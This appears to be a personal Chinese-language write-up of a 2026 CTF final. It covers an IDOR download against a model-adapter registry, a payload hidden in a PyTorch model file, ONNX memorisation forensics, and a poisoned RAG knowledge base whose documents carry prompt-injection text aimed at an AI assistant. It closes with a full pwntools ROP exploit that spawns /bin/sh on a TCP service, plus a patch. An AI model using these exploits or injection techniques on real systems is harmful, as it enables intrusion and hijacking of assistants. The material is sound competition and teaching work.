2026湾区杯决赛个人wp

这次比赛我们在主赛道 AWDP 个人组取得了第六名铜湾奖的成绩,而在 AI 赛道上,比较遗憾在 Agent 阶段止步——现场由于网络调试环境受限,加之对主办方提供的 API Key 格式与调用规范缺乏前期信息同步,导致在临场适配上耗费了过多时间,没能把准备好的策略完全施展开。赛后复盘也算是一次宝贵的实战经验,非常感谢各位师傅一路以来的投入与付出!

赛前打卡

机器狗足球表演

给的补给零食袋,非常可以啊

结束封榜纪念

以下为我个人完成题目的解题思路与 WP 整理:

AI专项部分

GhostAdapter

题目背景:你获得了适配器仓库的只读测试权限。请调查一次迁移遗留问题,并取得私有适配器工件中的回执

附件就给了两样东西:

access.txt:

Authorization: Bearer gbacc-blue-demo-token,这是blue 租户的测试 token,

还有role: adapter-reader

image-20260921110331025

registry_api.txt:

GET /api/profile
GET /api/adapters
GET /api/versions/{version_id}
GET /api/versions/{version_id}/download

漏洞是下载接口缺少存在性校验(IDOR)

第一步先用 token 确认身份,再拉适配器列表:

curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/profile
​
curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/adapters

/api/adapters 里 blue 适配器的字段泄露了它的依赖基线:base_dependency: “lora-v317″。这个版本号不在可见的version版本列表里,属于迁移遗留的悬空引用

接着验证一下版本接口:

GET /api/versions/lora-v317 被正确拒绝(404),说明元数据接口做了存在性校验

但 GET /api/versions/lora-v317/download 完全不查租户与存在性,直接把 red 租户的私有工件打包返回(200)

curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/versions/lora-v317/download -o v317.zip
unzip -p v317.zip flag.json
image-20260914153025359

工件 flag.json 内即为 flag:

{"adapter":"red-road-sign-lora","format":"peft-lora",
"migration_receipt":"flag{9b75d1b6-d336-4087-80da-f5ef5de2eb08}",
"tenant":"red","version":"lora-v317"}

flag{9b75d1b6-d336-4087-80da-f5ef5de2eb08}

evalModel

题目背景:一份来路不明的图像分类模型被部署上线。经检测,文件内部暗藏玄机。请深入分析该模型文件,找到隐藏的 flag

给了model.pth,很多 model.pth实际上就是一种 ZIP 容器格式

image-20260921114627807

改为 zip 后缀解包,archive/data.pkl 中藏了这段:

image-20260914122013605
import base64,zlib
c = base64.b64decode(''.join(
   'FbUvriVhxlh|GUC1D3zw1/w|cBeAW6WlUuJ|/ncWkBStz8k|PTNkfnwDASY|kVchpLWXHeP|0='
  .split('|')
))
x = bytes(
   v ^ b'model-integrity-2026'[i % 20]
   for i, v in enumerate(c)
)
print(zlib.decompress(x).decode())

运行解出 flag{252d38ab-42f7-46fa-9170-edbdaad76fd5}

记忆不会消失

题目背景:某公司怀疑旧版智能助手曾接触过包含凭据、恢复码和内部服务信息的资料。虽然原始训练集已经移除,模型可能仍然保留部分历史痕迹。现在提供一个离线模型、一批查询语句以及一组可能的模型回答。请对这些材料进行取证,找出与模型历史行为最相关的记录,并恢复隐藏信息。

附件四个文件:model.onnx,prompts.txt(10000 条查询),candidates.json(10000 条候选回答),tokenizer.json(分词器词表文件,作用是把人能读的文本转换成模型能处理的数字 ID)

.onnx是模型文件的一种,全称是 Open Neural Network Exchange,通常会保留计算图 + 模型参数

我这里用的是Netron,可以查看模型文件结构,支持很多种模型文件类型

image-20260921201804315

可以看出模型通过 prompt_id定位输出位置,并用 prompt_id < 42 作为限制条件,所以只有前 42 个 prompt 会产生明显的记忆输出

tokenizer.json里存着对应的candidate_ids

image-20260921203807437

就按着这个6144,1405,4676…这个前42个编号顺序在candidates.json找对应的memo

image-20260921203946804
image-20260921204014256
image-20260921204038417

按照编号排序后逐个取出 memo 拼接:

f l a g { 2 1 0 9 5 0 e 2 - 3 2 4 1 - 4 5 4 d - a 7 f c - 5 a f 8 3 3 5 9 d e e 8 }

得到 flag{210950e2-3241-454d-a7fc-5af83359dee8}

RAG

题目背景:某公司内部 AI 知识助手近期频繁 “答非所问”,安全团队怀疑知识库被投毒,攻击者将注入载荷藏进看似无害的文档,一旦被检索命中便劫持助手输出。请分析不可信文档,找到攻击者在多个文档中注入的编码混淆指令。

附件结构:documents/0001.md ~ 10000.md、index.json、metadata.json、query_history.json。

给了10000个md文件,考察的是对RAG信息检索的理解和敏感度

image-20260921233808629

index.json记录的是对md文件对应的id和题目还有哈希值

metadata.json则是在index.json的基础上加入了每个md文件所属的category和token属性

image-20260921233731448

query_history.json应该就是用户请求日志

image-20260921233537891

用户提问的query,RAG检索器返回对应的文件id给大模型

根据id去metadata.json找找对应的文件属性,发现其中几个的category和其他的明显不一样,标注为security-test-fixture

image-20260921233900530
image-20260921233953046

把所有带有security-test-fixture的筛选出来

image-20260921234614603

一共13项,对应的id分别是73、118、137、205、447、488、1281、2819、4190、5632、6741、7823、8910

去审一下这些md文件,看到明显提示词注入的痕迹

image-20260921234748296

一个个跟着看,发现文件内容在慢慢引导ai,

然后发现了可疑编码CtxVi4vYvUDf

image-20260921235227438

继续找能看到更多:

1281.md 
隐藏片段 CtxVi4vYvUDf
2819.md
隐藏片段 CX1vGdGKTJF1eWL
4190.md →
隐藏片段 2GPEugwVF
5632.md
隐藏片段 CbBzEMSmqQGx
6741.md
隐藏片段 9X51EC
7823.md
隐藏片段 X47K%6
8910.md
隐藏片段 H-C+96G67

一开始以为是直接拼一起交了好多次,还改了很多拼法发现不对,最后发现是几段拼接后的解码

用的随波逐流工具

image-20260922000047323

flag{f5b2f658-9b47-4a14-b079-cac8468f2138}

AWDP部分

tboxgw

    Arch:       amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:         NX enabled
  PIE:       No PIE (0x400000)

题目本身做过 stripped,符号全没了,只看到0x40102f一个entry入口

时间紧任务重,直接上通防试几个

image-20260917160015804

注入guard,seccomp-BPF过滤和Landlock 白名单直接过了

不知道过了多少轮后才回来继续看这道题目,

从entry开始看:

image-20260920084942834

start里只有一句 sub_401050((unsigned int *)&retaddr),这是静态链接二进制的常见套路

判断sub_401050 就是 __libc_start_main,main 的地址即sub_401786从 rdi 传进去:

image-20260920085302233

然后看main,第一眼注意到有listen,bind,socket这样的字符串,再结合经典的“210”组合,判断这是一个IPV4 TCP 服务端

image-20260920091135032

下面这个大差不差就是监听8888端口的htons函数,然后是bind和listen的各自业务

image-20260920092141599
image-20260920092212486

本地启服务再监听8888来验证下,跳banner了

image-20260920093756619

大致确定框架后这样一来就省下来不少时间

do while循环后的逻辑很经典,熟悉的人一眼就能看出来,sub_401ED0就是fork函数,v3就分配的pid,这个=0分支就是在走子进程业务,非常标准的fork server

image-20260920092552555

接下来一般就是重点看端口绑定后的业务逻辑函数或者是fork进程里的业务逻辑

image-20260920100329920

sub401283,扫一眼字符串,TBOX 数据,涉及 MAGIC、长度和 CRC,应该是收包函数,花时间认真逆了一下,根据结构和大致能还原出这个包头的数据结构

struct TboxHeader
{
   unsigned short magic;      // +0x00 2 bytes
   unsigned char  cmd;        // +0x02 1 byte
   char           device_id[17]; // +0x03 17 bytes
   unsigned short payload_len;   // +0x14 2 bytes
};

由于程序并没有把这个结构整个传下去,而是重新用memcpy整理到 dst,后续用到的是新的业务结构,也可以还原,device_id后面被补了’/0′

struct TboxDst
{
   unsigned char cmd;          // +0x00 1bytes
   char device_id[18];         // +0x01 1bytes
   unsigned char padding;      // +0x13 18bytes
   unsigned short payload_len; // +0x14 2bytes
};

收包 + 长度限制 + CRC 校验

image-20260920154928715

发个错误 magic 的 22 字节包简单测试下

from pwn import *
io = remote("127.0.0.1", 8888)
io.recvline()
pkt = b"\x00\x00" + b"\x13" + b"A" * 17 + p16(0)
io.send(pkt)
responce=io.recvline()
print(responce)
image-20260920155644418

没问题,先跳过crc校验计算逻辑,接着往下分析

sub401550可以看出是一个分发逻辑,简单逆一下

image-20260920110756651

支持 REGISTER ,TELEMETRY ,BATCH ,STATUS 四种命令,

包头第 3 字节 cmd ,分发函数拿它做 switch,其余回 TBOX-NAK CMD。

漏洞位于handle_batch中

image-20260920202907878

count是payload[0],可以人为控制,memcpy又直接往栈上的buf里写46*count,存在明显的栈溢出风险,加之题目没有canary和pie,直接打ROP链就行

最后看一下crc的逻辑

image-20260920203935190

脚本还原一下

def crc(data, num=0xffff):
   for i in data:
       num ^= i << 8
       for j in range(8):
​
           if num >= 0x8000:
               tmp = num - 0x10000
           else:
               tmp = num
           if tmp >= 0:
               num = num * 2
           else:
               num = (num * 2) ^ 0x1021
           num = num & 0xffff
   return num

再找一些gadget就行了

image-20260920221138461

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
​
io = remote("127.0.0.1", 8888)
#io=remote("39.106.48.123",44314)
​
def crc(data, num=0xffff):
   for i in data:
       num ^= i << 8
       for j in range(8):
​
           if num >= 0x8000:
               tmp = num - 0x10000
           else:
               tmp = num
           if tmp >= 0:
               num = num * 2
           else:
               num = (num * 2) ^ 0x1021
           num = num & 0xffff
   return num
​
​
#0x00000000004028d0 : pop rbx ; ret
#0x0000000000401f7d : pop rdi ; ret
#0x00000000004024d6 : pop rsi ; ret
#0x0000000000401002 : ret
#0x0000000000401af3 : syscall
pop_rax = 0x401001
pop_rdi = 0x401f7d
pop_rsi = 0x4024d6
syscall = 0x4020eb
​
​
count = 8
copy_len = 46 * count
payload_addr=0x409260
​
binsh_addr = payload_addr + 1 + copy_len
​
​
​
rop=b"A"*0xf4+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(binsh_addr)+p64(pop_rsi)+p64(0)+p64(syscall)
​
rop = rop.ljust(copy_len, b"B")
​
payload = p8(count)+rop+b"/bin/sh\x00"
​
​
​
cmd = 0x12  
device_id = b"A" * 17
​
header=p8(cmd)+device_id+p16(len(payload))
​
num = crc(header)
num = crc(payload, num)
packet= b"\xfa\x5b"+ header+ payload+ p16(num)
​
​
​
io.send(packet)
​
io.interactive()

flag{65a4aeea-4666-4af8-8e55-6061ce0699c1}

修补

0x4014de: movzx eax, al

原机器码:0F B6 C0

改成:and eax, 3

机器码刚好也是 3 字节:83 E0 03

于是逻辑从:count = payload[0];

变成近似:count = payload[0] & 3;

也就是:count 最大只能为 3 最大 memcpy = 3 × 46 = 138 字节

栈溢出直接没了

SkyFence

image-20260917163620556

同样的防御这块上通防试下

image-20260917163404959

没啥好说的功能正常直接过

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇